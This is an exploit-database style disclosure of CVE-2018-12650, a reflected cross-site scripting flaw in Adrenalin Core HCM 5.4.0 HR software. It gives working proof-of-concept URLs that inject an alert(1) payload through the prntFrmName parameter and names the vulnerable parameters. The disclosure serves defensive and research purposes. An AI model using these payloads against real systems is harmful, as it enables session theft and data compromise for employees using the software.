Adrenalin Core HCM 5.4.0 - prntDDLCntrlName Reflected Cross-Site Scripting

# Exploit Title: Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: Rishu Ranjan (Cy83rl0gger)
# Vendor Homepage: https://www.myadrenalin.com/
# Software Link: https://www.myadrenalin.com/core-hcm/
# Version: 5.4.0 (REQUIRED)
# Tested on: NA
# CVE : CVE-2018-12650
# Type: webapps
# Platform: Multiple

# Description
# ====================
# A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 HRMS Software. 
# The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response.

URL
====================
https://<Host:port>/myadrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined

https://<Host:port>/Adrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined

Parameter
====================
prntDDLCntrlName
prntFrmName

Attack Type
====================
Remote

CVE Impact Other
====================
Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc.

Reference
====================
https://nvd.nist.gov/vuln/detail/CVE-2018-12650
https://www.knowcybersec.com/2018/10/CVE-2018-12650-reflected-XSS.html

Discoverer
====================
Rishu Ranjan